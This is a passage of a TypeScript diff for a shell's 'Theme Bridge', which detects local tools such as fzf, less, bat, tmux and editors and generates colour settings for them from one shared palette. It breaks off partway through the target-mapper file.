+import {resolveCommand, runExternal} from '../providers/providers.js'; +import {parse as parseToml} from 'smol-toml'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import {resolveSemanticPalette, type SemanticPalette} from '../appearance/semanticPalette.js'; +import {activeThemeRef, themeRefLabel, type ThemeSource} from '../appearance/themeRefs.js'; +import { + BRIDGE_CAPABILITY, BRIDGE_TARGETS, BRIDGE_TARGET_LABELS, effectiveSetting, targetEditable, type BridgeCapability, type BridgeMode, type BridgeTargetId, + type ThemeBridgeSettings, +} from './model.js'; +import {bridgeEnvPath, writeEnvironmentFiles, type BridgeEnvironment, type ListingWrapper} from './environment.js'; +import { + artifactPath, batConfigDirectory, helixConfigDirectory, hookSpec, recordedHook, ledgerPath, loadLedger, ownership, removeArtifact, saveLedger, sha256, writeArtifact, + type HookTarget, type ManagedTarget, +} from './artifacts.js'; +import {loadTmuxModel} from '../tools/config/tmux.js'; +import {modelIsEmpty, tmuxManagedNeeded, writeTmuxManaged} from '../tools/config/tmuxManaged.js'; +import { + BAT_THEME_NAME, batTheme, bsdLsColors, fzfColorArgs, helixTheme, lsColorsFallback, neovimColorscheme, pagerEnvironment, parseFzfVersion, tmuxFragment, + validateBatTheme, validateHelixTheme, validateNeovimColorscheme, validateTmuxFragment, validateVimColorscheme, validLsColors, vimColorscheme, vividTheme, + TMUX_UNREPRESENTED, +} from './targets.js'; + +/** + * Theme Bridge runtime: target detection (local, read-only, bounded, + * cached), effective settings (switch × policy × capability × Manual state) + * resolved through the one semantic palette, application through the + * environment sink or managed artifacts, and the integrations-health planner. + * Never touches shell rc files, terminal/editor themes or git config; + * includes and bat's cache are separate, explicitly confirmed steps. + */ + +export type BridgeStatus = 'Not installed' | 'Detected' | 'Following NMSh' | 'Pinned theme' | 'Conflict' | 'Missing theme' | 'Needs setup' | 'Not managed'; + +/** File listing backends found on this system. */ +export interface ListingFacts { + /** `ls` on PATH: GNU coreutils, or BSD/macOS. */ + ls?: 'gnu' | 'bsd'; + /** GNU `gls` (Homebrew coreutils) is installed. */ + gls?: boolean; +} + +export interface TargetFacts {installed: boolean; binary?: string; version?: string; listing?: ListingFacts} + +export interface TargetReport { + target: BridgeTargetId; + label: string; + capability: BridgeCapability; + /** The effective mode (after switch, policy and capability). */ + mode: BridgeMode; + /** Modes this target can honestly offer. */ + modes: readonly BridgeMode[]; + /** Mode/theme can be edited now (Manual policy and a supported target). */ + editable: boolean; + /** The mode comes from the global policy, not this target's own setting. */ + inherited: boolean; + themeLabel?: string; + status: BridgeStatus; + /** One short readiness line: Ready, Needs include, Needs activation, Needs cache build, … */ + readiness?: string; + /** For file listing colors: the backend(s) in use. */ + backend?: string; + notes: string[]; + palette?: SemanticPalette; +} + +/** Executable per target (PATH lookup only; versions only where mappings depend on them). */ +const BINARIES: Record = {fzf: 'fzf', pager: 'less', lsColors: 'ls', bat: 'bat', delta: 'delta', tmux: 'tmux', neovim: 'nvim', vim: 'vim', helix: 'hx'}; +const VERSION_ARGS: Partial> = {fzf: ['--version'], tmux: ['-V']}; + +const DELTA_NOTE = 'delta is shown for status only: its syntax themes come from bat\'s cache and its diff styles from git config, which NMSh does not manage.'; + +export function supportedModes(target: BridgeTargetId): readonly BridgeMode[] { + return BRIDGE_CAPABILITY[target] === 'detected' ? ['independent'] : ['independent', 'follow', 'choose']; +} + +let factsCache: Promise> | undefined; +let factsKey = ''; + +/** Local, bounded detection, cached per PATH; at most a few short version probes, never on render. */ +export function detectTargets(env: NodeJS.ProcessEnv = process.env, refresh = false): Promise> { + const key = env.PATH ?? ''; + if (factsCache && factsKey === key && !refresh) return factsCache; + factsKey = key; + factsCache = (async () => { + const entries = await Promise.all(BRIDGE_TARGETS.map(async (target): Promise<[BridgeTargetId, TargetFacts]> => { + const binary = resolveCommand(BINARIES[target], key); + if (!binary) return [target, {installed: false}]; + if (target === 'lsColors') { + // GNU ls answers --version; BSD/macOS ls refuses it. Nothing else is run. + const probe = await runExternal(binary, ['--version'], {timeoutMs: 1500, maxBytes: 4096, env}); + return [target, {installed: true, binary, listing: {ls: /GNU coreutils/u.test(probe.stdout) ? 'gnu' : 'bsd', gls: Boolean(resolveCommand('gls', key))}}]; + } + const args = VERSION_ARGS[target]; + if (!args) return [target, {installed: true, binary}]; + const result = await runExternal(binary, args, {timeoutMs: 1500, maxBytes: 4096, env}); + const version = result.stdout.trim().replace(/^tmux\s+/u, '').split('\n')[0]?.slice(0, 40); + return [target, {installed: true, binary, ...(version ? {version} : {})}]; + })); + return Object.fromEntries(entries) as Record; + })(); + return factsCache; +} + +export function resetDetectionCache(): void { factsCache = undefined; } + +/** Bounded read of a user config for conflict facts; never parsed beyond simple line matching, never executed. */ +function readSmall(path: string): string | undefined { + try { + if (statSync(path).size > 256 * 1024) return undefined; + return readFileSync(path, 'utf8'); + } catch { return undefined; } +} + +const TMUX_THEME_PLUGINS = /@plugin\s+['"]?(catppuccin\/tmux|dracula\/tmux|egel\/tmux-gruvbox|arcticicestudio\/nord-tmux|nordtheme\/tmux|odedlaz\/tmux-onedark-theme|wfxr\/tmux-power|jimeh\/tmux-themepack|fabioluciano\/tmux-tokyo-night|janoamaral\/tokyo-night-tmux|rose-pine\/tmux|seebi\/tmux-colors-solarized)/u; + +/** Factual conflicts: other sources that style the same surface. Reported, never fought. */ +export function targetConflicts(target: BridgeTargetId, env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): string[] { + const xdg = env.XDG_CONFIG_HOME && env.XDG_CONFIG_HOME.startsWith('/') ? env.XDG_CONFIG_HOME : join(home, '.config'); + if (target === 'tmux') { + const text = [join(home, '.tmux.conf'), join(xdg, 'tmux', 'tmux.conf')].map(readSmall).filter(Boolean).join('\n'); + const notes: string[] = []; + const plugin = TMUX_THEME_PLUGINS.exec(text); + if (plugin) notes.push(`Your tmux config loads the ${plugin[1]} theme plugin; whichever loads last decides the colors.`); + if (/^\s*set(?:-option)?\s+(?:-[a-zA-Z]*\s+)*(?:status-style|status-bg|status-fg|pane-border-style|pane-active-border-style|window-status-current-style)\b/mu.test(text)) { + notes.push('Your tmux config also sets status/pane styles; whichever loads last decides the colors.'); + } + return notes; + } + if (target === 'neovim' || target === 'vim') { + const paths = target === 'neovim' ? [join(xdg, 'nvim', 'init.lua'), join(xdg, 'nvim', 'init.vim')] : [join(home, '.vimrc'), join(home, '.vim', 'vimrc')]; + const text = paths.map(readSmall).filter(Boolean).join('\n'); + return /^\s*(?:colorscheme|colo)\s+\S|vim\.cmd\.colorscheme|vim\.cmd\s*\(?\s*['"]colorscheme/mu.test(text) + ? ['Your config also chooses a colorscheme; the NMSh include, placed last, takes effect after it.'] : []; + } + if (target === 'helix') { + const config = readSmall(join(helixConfigDirectory(env), 'config.toml')); + const theme = config ? /^\s*theme\s*=\s*"?([^"\n]+)"?/mu.exec(config)?.[1]?.trim() : undefined; + return theme && theme !== 'nmsh-bridge' ? [`Configured independently: your Helix config selects "${theme.slice(0, 40)}"; NMSh leaves it.`] : []; + } + if (target === 'bat') { + const config = readSmall(join(batConfigDirectory(env), 'config')); + const theme = config ? /^\s*--theme[=\s]+["']?([^"'\n]+)/mu.exec(config)?.[1]?.trim() : undefined; + return theme ? [`Your bat config file sets --theme=${theme.slice(0, 40)}; bat's own config is not changed, and BAT_THEME applies only where your config does not override it.`] : []; + } + if (target === 'lsColors' && (env.LS_COLORS || env.LSCOLORS)) return ['Listing colors are already set; NMSh replaces them in NMSh shells while active and restores them when Independent.']; + if (target === 'fzf' && /--color/u.test(env.FZF_DEFAULT_OPTS ?? '')) return ['FZF_DEFAULT_OPTS sets colors; NMSh-owned fzf launches never read FZF_DEFAULT_OPTS, your own fzf use keeps it.']; + return []; +} + +/** The theme a target uses right now, or why it has none. Never another theme. */ +export function targetPalette(settings: ThemeBridgeSettings, target: BridgeTargetId, source: ThemeSource): {palette?: SemanticPalette; label?: string; missing?: boolean; ref?: string} { + const setting = effectiveSetting(settings, target); + if (setting.mode === 'independent') return {}; + const ref = setting.mode === 'follow' ? activeThemeRef(source) : setting.theme; + const resolved = resolveSemanticPalette(ref, source); + if (!resolved.ok) return {missing: true, label: resolved.label}; + return {palette: resolved.palette, label: themeRefLabel(ref, source), ...(ref ? {ref} : {})}; +} + +export interface BridgeContext {source: ThemeSource & {themeBridge: ThemeBridgeSettings}; facts: Record; level: ColorLevel; env?: NodeJS.ProcessEnv} + +/** NO_COLOR (any value) or no color capability: color injection stops for every target. */ +export function bridgeColorLevel(level: ColorLevel, env: NodeJS.ProcessEnv = process.env): ColorLevel { + return env.NO_COLOR !== undefined && env.NO_COLOR !== '' ? 'none' : level; +} + +/** File listing backend in plain words, from facts. */ +export function listingBackend(facts: TargetFacts | undefined): string | undefined { + const listing = facts?.listing; + if (!listing) return undefined; + const parts = [listing.ls === 'gnu' ? 'GNU ls · LS_COLORS' : listing.ls === 'bsd' ? 'macOS/BSD ls · CLICOLOR, LSCOLORS' : '', listing.gls ? 'GNU gls · LS_COLORS' : ''].filter(Boolean); + return parts.join(' + ') || undefined; +} + +/** bat is ready when NMSh's own theme file exists unchanged and bat's cache was built and verified for exactly it. */ +export function batReady(env: NodeJS.ProcessEnv = process.env): boolean { + const ledger = loadLedger(env); + const entry = ledger.entries.bat; + return Boolean(entry && ownership('bat', ledger, env) === 'owned' && entry.cacheBuiltFor === entry.sha256); +} + +function hookPresent(target: HookTarget, env: NodeJS.ProcessEnv, home: string): 'none' | 'current' | 'stale' | 'missing' { + const hook = recordedHook(target, env); + if (!hook) return 'none'; + const text = readSmall(hook.configPath); + if (text === undefined || !text.includes(`${hook.lines.join('\n')}\n`)) return 'missing'; + const spec = hookSpec(target, env, home); + // Helix's spec refuses a config that already selects a theme, which our own recorded assignment does: still current. + if ('error' in spec) return 'current'; + return spec.configPath !== hook.configPath || spec.lines.join('\n') !== hook.lines.join('\n') ? 'stale' : 'current'; +} + +/** Readiness of a managed target: what (if anything) still needs a reviewed step. */ +export function managedReadiness(target: Extract, env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): string { + const ledger = loadLedger(env); + // tmux.conf includes the one managed tmux file, so that file decides tmux's setup state. + const owned = ownership(target === 'tmux' ? 'tmuxConfig' : target, ledger, env); + if (owned === 'modified' || owned === 'unknown') return 'Conflict'; + if (owned !== 'owned') return 'Needs setup'; + if (target === 'bat') return batReady(env) ? 'Ready' : 'Needs cache build'; + const hook = hookPresent(target, env, home); + if (hook === 'current') return 'Active'; + if (hook === 'stale' || hook === 'missing') return target === 'helix' ? 'Activation stale' : 'Include stale'; + return target === 'helix' || target === 'neovim' ? 'Needs activation' : 'Needs include'; +} + +export function reportTargets({source, facts, level, env = process.env}: BridgeContext): TargetReport[] { + const home = env.HOME || homedir(); + return BRIDGE_TARGETS.map(target => { + const capability = BRIDGE_CAPABILITY[target]; + const setting = effectiveSetting(source.themeBridge, target); + const inherited = source.themeBridge.enabled && source.themeBridge.policy !== 'manual' && capability !== 'detected'; + const {palette, label, missing} = targetPalette(source.themeBridge, target, source); + const notes: string[] = []; + let status: BridgeStatus; + let readiness: string | undefined; + if (!facts[target]?.installed) status = 'Not installed'; + else if (capability === 'detected') { status = 'Not managed'; notes.push(DELTA_NOTE); } + else if (setting.mode === 'independent') status = 'Detected'; + else if (missing) status = 'Missing theme'; + else status = setting.mode === 'follow' ? 'Following NMSh' : 'Pinned theme'; + if (setting.mode !== 'independent' && bridgeColorLevel(level, env) === 'none') notes.push('NO_COLOR or no color support: nothing is injected.'); + if (capability === 'managed' && facts[target]?.installed) { + const managed = target as Extract; + readiness = managedReadiness(managed, env, home); + if (readiness === 'Conflict') { status = 'Conflict'; notes.push(`${artifactPath(managed, env)} exists and is not NMSh's unchanged file; NMSh will not overwrite it.`); } + else if (setting.mode !== 'independent' && readiness === 'Needs setup' && target === 'bat') { status = 'Needs setup'; notes.push('bat needs a generated custom theme and a reviewed cache build before BAT_THEME is set.'); } + if (setting.mode === 'independent' && (readiness === 'Active' || readiness === 'Needs include' || readiness === 'Needs activation')) readiness = managed !== 'bat' && recordedHook(managed as HookTarget, env) ? 'Include kept (inactive)' : undefined; + if (target === 'helix' && setting.mode !== 'independent') { + notes.push('Coverage: syntax, markup, diff, diagnostics and editor UI. Running Helix instances are not recolored; new ones use the file.'); + if (readiness === 'Needs activation') notes.push('Select it with :theme nmsh-bridge, or review the config change.'); + } + if (target === 'tmux' && setting.mode !== 'independent') notes.push(TMUX_UNREPRESENTED); + } + for (const conflict of facts[target]?.installed ? targetConflicts(target, env, home) : []) { + notes.push(conflict); + if (setting.mode !== 'independent' && status !== 'Missing theme' && target === 'tmux') status = 'Conflict'; + } + const backend = target === 'lsColors' ? listingBackend(facts.lsColors) : undefined; + if (target === 'lsColors' && facts.lsColors?.listing?.ls === 'bsd') notes.push('macOS/BSD ls names terminal ANSI colors, so it uses the closest of the theme\'s base colors.'); + return {target, label: BRIDGE_TARGET_LABELS[target], capability, mode: setting.mode, modes: supportedModes(target), + editable: targetEditable(source.themeBridge, target), inherited, ...(label ? {themeLabel: label} : {}), status, ...(readiness ? {readiness} : {}), + ...(backend ? {backend} : {}), notes, ...(palette ? {palette} : {})}; + }); +} + +/** + * The environment the sink should carry: pager termcap, file listing colors + * for the detected backends, and BAT_THEME once bat's managed theme is ready. + */ +export function bridgeEnvironment(context: BridgeContext, lsColors?: string): BridgeEnvironment { + const env = context.env ?? process.env; + const level = bridgeColorLevel(context.level, env); + const out: BridgeEnvironment = {}; + const pager = targetPalette(context.source.themeBridge, 'pager', context.source).palette; + if (pager) Object.assign(out, pagerEnvironment(pager, level)); + const ls = targetPalette(context.source.themeBridge, 'lsColors', context.source).palette; + const listing = context.facts.lsColors?.listing; + if (ls && level !== 'none') { + const gnu = listing?.ls === 'gnu' || listing?.gls; + if (gnu || !listing) { + const value = lsColors ?? lsColorsFallback(ls, level); + if (value) out.LS_COLORS = value; + } + const wrappers: ListingWrapper[] = [...(listing?.ls === 'gnu' ? ['ls' as const] : []), ...(listing?.gls ? ['gls' as const] : [])]; + if (wrappers.length) out.listing = wrappers; + if (listing?.ls === 'bsd') { out.CLICOLOR = '1'; out.LSCOLORS = bsdLsColors(ls); } + } + if (targetPalette(context.source.themeBridge, 'bat', context.source).palette && batReady(env) && level !== 'none') out.BAT_THEME = BAT_THEME_NAME; + return out; +} + +/** fzf arguments for one NMSh-owned launch (empty when Independent, unavailable or colorless). */ +export function fzfBridgeArgs(context: BridgeContext): string[] { + const palette = targetPalette(context.source.themeBridge, 'fzf', context.source).palette; + if (!palette) return []; + return fzfColorArgs(palette, bridgeColorLevel(context.level, context.env), parseFzfVersion(context.facts.fzf?.version)); +} + +const vividCache = new Map(); + +/** vivid output for the listing palette when vivid is installed; undefined falls back to the small built-in mapping. */ +async function vividColors(palette: SemanticPalette, level: ColorLevel, env: NodeJS.ProcessEnv, mode: BridgeMode, ref: string): Promise { + const binary = resolveCommand('vivid', env.PATH ?? ''); + if (!binary || level === 'none') return undefined; + const theme = vividTheme(palette); + const key = `${sha256(theme)}:${level}`; + if (vividCache.has(key)) return vividCache.get(key); + const written = writeArtifact('vivid', theme, content => content.startsWith('# Generated by NMSh Theme Bridge'), {mode, themeRef: ref, format: 'vivid-theme', formatVersion: 1}, env); + if (!written.ok) return undefined; + const args = [...(level === 'truecolor' ? [] : ['-m', '8-bit']), 'generate', written.path]; + const result = await runExternal(binary, args, {timeoutMs: 2000, maxBytes: 128 * 1024, env}); + const value = result.stdout.trim(); + if (!result.ok || !validLsColors(value)) return undefined; + vividCache.set(key, value); + return value; +} + +export interface ApplyOutcome {target: BridgeTargetId; ok: boolean; message?: string} + +const validXml = (content: string) => XMLValidator.validate(content) === true; + +const MANAGED: ReadonlyArray<{target: Extract; render: (palette: SemanticPalette) => string; validate: (content: string) => boolean; format: string}> = [ + {target: 'tmux', render: tmuxFragment, validate: validateTmuxFragment, format: 'tmux-fragment'}, + {target: 'neovim', render: neovimColorscheme, validate: validateNeovimColorscheme, format: 'nvim-colorscheme'}, + {target: 'vim', render: vimColorscheme, validate: validateVimColorscheme, format: 'vim-colorscheme'}, + {target: 'helix', render: helixTheme, validate: content => validateHelixTheme(content, parseToml), format: 'helix-theme'}, + {target: 'bat', render: batTheme, validate: content => validateBatTheme(content, text => { if (!validXml(text)) throw new Error('invalid'); return text; }), format: 'bat-tmtheme'}, +]; + +/** Whether NMSh may (re)generate a managed target's artifact automatically: bat only after its first reviewed setup. */ +function autoGenerate(target: Extract, env: NodeJS.ProcessEnv): boolean { + return target !== 'bat' || Boolean(loadLedger(env).entries.bat); +} + +/** + * Applies the current effective settings: the environment sink and the + * managed artifacts. Each target is isolated; one failure is reported and + * leaves every other target (and the active NMSh theme) intact. Independent + * targets get no artifact and no injection; an owned artifact left from an + * earlier mode is removed (includes stay recorded and are harmless without + * it). bat is generated automatically only after its first reviewed setup, + * and its cache is rebuilt automatically only after the user approved that + * once; otherwise it reports Needs setup / Needs cache build. + */ +export async function applyThemeBridge(context: BridgeContext): Promise { + const env = context.env ?? process.env; + const level = bridgeColorLevel(context.level, env); + const outcomes: ApplyOutcome[] = []; + for (const managed of MANAGED) { + const setting = effectiveSetting(context.source.themeBridge, managed.target); + const resolved = targetPalette(context.source.themeBridge, managed.target, context.source); + try { + if (setting.mode === 'independent' || !resolved.palette) { + if (existsSync(artifactPath(managed.target, env)) && loadLedger(env).entries[managed.target]) { + const removed = removeArtifact(managed.target, env); + outcomes.push({target: managed.target, ok: removed.ok, ...(!removed.ok ? {message: removed.error} : {})}); + } + if (resolved.missing) outcomes.push({target: managed.target, ok: false, message: `${BRIDGE_TARGET_LABELS[managed.target]}: the pinned theme no longer exists; nothing was generated.`}); + continue; + } + if (!autoGenerate(managed.target, env)) continue; + const result = writeArtifact(managed.target, managed.render(resolved.palette), managed.validate, + {mode: setting.mode, themeRef: resolved.ref ?? '', format: managed.format, formatVersion: 1}, env); + if (!result.ok) { outcomes.push({target: managed.target, ok: false, message: result.error}); continue; } + if (managed.target === 'bat' && result.changed && loadLedger(env).entries.bat?.cacheApproved && context.facts.bat?.installed) { + const built = await buildBatCache(env); + outcomes.push({target: 'bat', ok: built.ok, ...(built.ok ? {} : {message: built.message})}); + continue; + } + outcomes.push({target: managed.target, ok: true}); + } catch (error) { + outcomes.push({target: managed.target, ok: false, message: error instanceof Error ? error.message : String(error)}); + } + } + // The one tmux file tmux.conf includes: Tool Configuration settings plus the Theme Bridge colors. + try { + const model = loadTmuxModel(env); + if (tmuxManagedNeeded(model, effectiveSetting(context.source.themeBridge, 'tmux').mode !== 'independent', env)) { + const written = writeTmuxManaged(model, env); + if (!written.ok) outcomes.push({target: 'tmux', ok: false, message: written.error}); + } + } catch (error) { + outcomes.push({target: 'tmux', ok: false, message: error instanceof Error ? error.message : String(error)}); + } + let lsColors: string | undefined; + const ls = targetPalette(context.source.themeBridge, 'lsColors', context.source); + if (ls.palette) lsColors = await vividColors(ls.palette, level, env, effectiveSetting(context.source.themeBridge, 'lsColors').mode, ls.ref ?? ''); + try { + writeEnvironmentFiles(bridgeEnvironment(context, lsColors), env); + outcomes.push({target: 'pager', ok: true}, {target: 'lsColors', ok: true}); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + outcomes.push({target: 'pager', ok: false, message}, {target: 'lsColors', ok: false, message}); + } + return outcomes; +} + +/** + * bat's reviewed setup step: write the managed theme for a palette (refusing + * unowned files), then rebuild bat's cache with typed argv and verify the + * theme is listed. Only a verified build marks bat ready (and allows later + * automatic rebuilds). + */ +export async function setupBat(palette: SemanticPalette, mode: BridgeMode, ref: string, env: NodeJS.ProcessEnv = process.env): Promise<{ok: boolean; message: string}> { + const binary = resolveCommand('bat', env.PATH ?? ''); + if (!binary) return {ok: false, message: 'bat is not installed.'}; + const reported = (await runExternal(binary, ['--config-dir'], {timeoutMs: 2000, maxBytes: 4096, env})).stdout.trim(); + if (reported && reported !== batConfigDirectory(env)) return {ok: false, message: `bat reports its config directory as ${reported}, not ${batConfigDirectory(env)}; NMSh does not guess where to put the theme.`}; + const managed = MANAGED.find(item => item.target === 'bat')!; + const written = writeArtifact('bat', managed.render(palette), managed.validate, {mode, themeRef: ref, format: managed.format, formatVersion: 1}, env); + if (!written.ok) return {ok: false, message: written.error}; + return buildBatCache(env, true); +} + +/** `bat cache --build`, then `bat --list-themes` must include the NMSh theme. Typed argv; no shell; local only. */ +export async function buildBatCache(env: NodeJS.ProcessEnv = process.env, approve = false): Promise<{ok: boolean; message: string}> { + const binary = resolveCommand('bat', env.PATH ?? ''); + if (!binary) return {ok: false, message: 'bat is not installed.'}; + const ledger = loadLedger(env); + const entry = ledger.entries.bat; + if (!entry || ownership('bat', ledger, env) !== 'owned') return {ok: false, message: 'There is no NMSh-managed bat theme to build.'}; + const build = await runExternal(binary, ['cache', '--build'], {timeoutMs: 60_000, maxBytes: 64 * 1024, env}); + if (!build.ok) return {ok: false, message: 'bat cache --build failed; BAT_THEME stays unset and nothing claims the theme is active.'}; + const list = await runExternal(binary, ['--list-themes', '--color=never'], {timeoutMs: 10_000, maxBytes: 256 * 1024, env}); + if (!list.stdout.split('\n').some(line => line.trim() === BAT_THEME_NAME)) return {ok: false, message: 'bat rebuilt its cache but does not list the NMSh theme; BAT_THEME stays unset.'}; + const fresh = loadLedger(env); + fresh.entries.bat = {...fresh.entries.bat!, cacheBuiltFor: fresh.entries.bat!.sha256, ...(approve || fresh.entries.bat!.cacheApproved ? {cacheApproved: true} : {})}; + saveLedger(fresh, env); + return {ok: true, message: 'bat rebuilt its theme cache and lists nmsh-bridge; NMSh shells use it from their next prompt.'}; +} + +/** + * The one typed tmux reload: `tmux source-file ` against the + * user's running server, on explicit request only. No shell, no other command. + */ +export async function reloadTmux(env: NodeJS.ProcessEnv = process.env, path = artifactPath('tmuxConfig', env)): Promise<{ok: boolean; message: string}> { + const binary = resolveCommand('tmux', env.PATH ?? ''); + if (!binary) return {ok: false, message: 'tmux is not installed.'}; + if (!existsSync(path)) return {ok: false, message: 'There is no NMSh-managed tmux file to load yet.'}; + const result = await runExternal(binary, ['source-file', path], {timeoutMs: 3000, maxBytes: 16 * 1024, env}); + return result.ok ? {ok: true, message: 'tmux reloaded the NMSh-managed settings for the running server.'} + : {ok: false, message: 'tmux did not reload (no running server, or it refused the file). New tmux servers load it through the include.'}; +} + +/** Everything a bridge application depends on; a change in it (theme, library, bridge settings) re-applies. */ +export function themeBridgeKey(config: ThemeSource & {themeBridge: ThemeBridgeSettings}): string { + return JSON.stringify([config.themeBridge, activeThemeRef(config), config.themes]); +} + +/** Whether NMSh ever wrote bridge state; with nothing active and nothing written, there is nothing to do or undo. */ +export function bridgeStateExists(env: NodeJS.ProcessEnv = process.env): boolean { + return existsSync(bridgeEnvPath('zsh', env)) || existsSync(ledgerPath(env)); +} + +// ---- Integrations health --------------------------------------------------------- + +export type HealthState = 'ready' | 'not-installed' | 'independent' | 'needs-setup' | 'needs-include' | 'stale-include' | 'needs-cache' | 'conflict' | 'not-managed'; +export interface HealthItem {target: BridgeTargetId; label: string; state: HealthState; detail: string; action?: 'generate' | 'include' | 'cache'} + +const HEALTH_LABELS: Record = {ready: 'Ready', 'not-installed': 'Not installed', independent: 'Independent · nothing to do', 'needs-setup': 'Needs setup', + 'needs-include': 'Needs one reviewed include', 'stale-include': 'Include out of date', 'needs-cache': 'Needs cache build', conflict: 'Conflict · skipped', 'not-managed': 'Not managed'}; + +/** One read-only pass over every target: what is current, what needs a reviewed step, what must be skipped. */ +export function integrationHealth(context: BridgeContext): HealthItem[] { + const env = context.env ?? process.env; + const home = env.HOME || homedir(); + return BRIDGE_TARGETS.map(target => { + const label = BRIDGE_TARGET_LABELS[target]; + const item = (state: HealthState, action?: HealthItem['action'], detail = HEALTH_LABELS[state]): HealthItem => ({target, label, state, detail, ...(action ? {action} : {})}); + if (!context.facts[target]?.installed) return item('not-installed'); + if (BRIDGE_CAPABILITY[target] === 'detected') return item('not-managed'); + // tmux settings from /tmux need the same one include even while Theme Bridge leaves tmux Independent. + const tmuxConfigured = target === 'tmux' && !modelIsEmpty(loadTmuxModel(env)); + if (effectiveSetting(context.source.themeBridge, target).mode === 'independent' && !tmuxConfigured) return item('independent'); + if (BRIDGE_CAPABILITY[target] === 'direct') return item('ready', undefined, 'Ready · applied to NMSh shells and launches'); + const managed = target as Extract; + const readiness = managedReadiness(managed, env, home); + if (readiness === 'Conflict') return item('conflict'); + if (readiness === 'Needs setup') return item('needs-setup', target === 'bat' ? 'cache' : 'generate', target === 'bat' ? 'Needs a generated bat theme and cache build' : 'Generated file missing'); + if (readiness === 'Needs cache build') return item('needs-cache', 'cache'); + if (readiness === 'Include stale' || readiness === 'Activation stale') return item('stale-include', undefined, 'Recorded include no longer matches; remove and re-add it in the target details'); + if (readiness === 'Needs include' || readiness === 'Needs activation') { + const spec = hookSpec(managed as HookTarget, env, home); + if ('error' in spec) return item('conflict', undefined, spec.error); + return item('needs-include', 'include', `${readiness} · ${spec.configPath}`); + } + return item('ready'); + }); +} diff --git a/src/themeBridge/targets.ts b/src/themeBridge/targets.ts new file mode 100644 index 00000000..da885b2c --- /dev/null +++ b/src/themeBridge/targets.ts @@ -0,0 +1,579 @@ +import {parseHexColor} from '../chroma/color.js'; +import {rgbTo16, rgbTo256} from '../chroma/escape.js'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import {sgrRgb, type SemanticPalette} from '../appearance/semanticPalette.js'; +import type {BridgeEnvironment} from './environment.js'; + +/** + * Target mappers: each translates the one resolved semantic palette into a + * target's documented roles. None of them reads themes, configuration or + * files; generation, validation and writing live elsewhere. Static palette + * data only: Chroma never leaks into a generated artifact. + */ + +const ESC = '\u001B'; +const HEX = /^#[0-9a-f]{6}$/u; + +// ---- fzf -------------------------------------------------------------------- + +/** fzf color names by the release that introduced them; older fzf rejects unknown names. */ +const FZF_GATED: ReadonlyArray<[name: string, since: [number, number]]> = [['border', [0, 23]], ['gutter', [0, 23]], ['separator', [0, 35]], ['label', [0, 35]], + ['scrollbar', [0, 36]], ['query', [0, 42]], ['disabled', [0, 42]]]; + +export function parseFzfVersion(text: string | undefined): [number, number] | undefined { + const match = /^(\d+)\.(\d+)/u.exec(text?.trim() ?? ''); + return match ? [Number(match[1]), Number(match[2])] : undefined; +} + +function fzfColor(hex: string, level: ColorLevel): string { + const rgb = parseHexColor(hex)!; + return level === 'truecolor' ? hex : level === 'ansi256' ? String(rgbTo256(rgb)) : String(rgbTo16(rgb)); +} + +/** + * fzf `--color` for one NMSh-owned launch. `bg` stays the terminal default + * unless the theme carries a real terminal background. Returns no argument + * at all when color is unavailable (NO_COLOR or no color capability). + */ +export function fzfColorArgs(palette: SemanticPalette, level: ColorLevel, version?: [number, number]): string[] { + if (level === 'none') return []; + const roles: Record = { + fg: palette.text.primary, hl: palette.accent, 'fg+': palette.selectionForeground, 'bg+': palette.selection, 'hl+': palette.accent, + info: palette.text.subtle, prompt: palette.accent, pointer: palette.accent, marker: palette.success, spinner: palette.info, header: palette.text.secondary, + border: palette.separator, gutter: palette.background ?? '', separator: palette.separator, label: palette.text.secondary, scrollbar: palette.separator, + query: palette.text.primary, disabled: palette.text.subtle, + }; + const at = (since: [number, number]) => !version || version[0] > since[0] || (version[0] === since[0] && version[1] >= since[1]); + const allowed = (name: string) => { const gate = FZF_GATED.find(([gated]) => gated === name); return !gate || at(gate[1]); }; + const parts = [`bg:${palette.background ? fzfColor(palette.background, level) : '-1'}`]; + for (const [name, hex] of Object.entries(roles)) { + if (name === 'gutter' && !hex) { if (allowed('gutter')) parts.push('gutter:-1'); continue; } + if (HEX.test(hex) && allowed(name)) parts.push(`${name}:${fzfColor(hex, level)}`); + } + return [`--color=${parts.join(',')}`]; +} + +/** + * Precedence for NMSh-owned fzf launches: Theme Bridge colors first, then the + * launching surface's explicit options (fzf applies later `--color` values + * over earlier ones, so explicit options win). FZF_DEFAULT_OPTS is not read + * for NMSh-owned launches at all. + */ +export function withFzfTheme(callerArgs: readonly string[], bridgeArgs: readonly string[]): string[] { + return [...bridgeArgs, ...callerArgs]; +} + +// ---- less / man --------------------------------------------------------------- + +const sgr = (hex: string, extra = '') => `${ESC}[${extra}38;2;${sgrRgb(hex)}m`; +const sgr256 = (hex: string, extra = '') => `${ESC}[${extra}38;5;${rgbTo256(parseHexColor(hex)!)}m`; + +/** + * less's documented termcap overrides (bold, underline, standout, blink), + * which color man pages and less's own prompt/search highlight. GROFF_NO_SGR + * makes GNU groff emit the overstrike formatting those overrides recolor; + * BSD/macOS mandoc already does. LESS itself (the user's options) is never set. + */ +export function pagerEnvironment(palette: SemanticPalette, level: ColorLevel): BridgeEnvironment { + if (level === 'none') return {}; + const color = level === 'truecolor' ? sgr : sgr256; + const reverse = level === 'truecolor' + ? `${ESC}[38;2;${sgrRgb(palette.selectionForeground)};48;2;${sgrRgb(palette.selection)}m` + : `${ESC}[38;5;${rgbTo256(parseHexColor(palette.selectionForeground)!)};48;5;${rgbTo256(parseHexColor(palette.selection)!)}m`; + return { + LESS_TERMCAP_md: color(palette.accent, '1;'), LESS_TERMCAP_mb: color(palette.failure, '1;'), LESS_TERMCAP_me: `${ESC}[0m`, + LESS_TERMCAP_us: color(palette.success, '4;'), LESS_TERMCAP_ue: `${ESC}[0m`, + LESS_TERMCAP_so: reverse, LESS_TERMCAP_se: `${ESC}[0m`, + GROFF_NO_SGR: '1', + }; +} + +// ---- LS_COLORS ------------------------------------------------------------------ + +const lsColor = (hex: string, level: ColorLevel, extra = '') => { + const rgb = parseHexColor(hex)!; + return `${extra}${level === 'truecolor' ? `38;2;${rgb.red};${rgb.green};${rgb.blue}` : `38;5;${rgbTo256(rgb)}`}`; +}; + +/** + * A deliberately small LS_COLORS: file kinds plus a few broad extension + 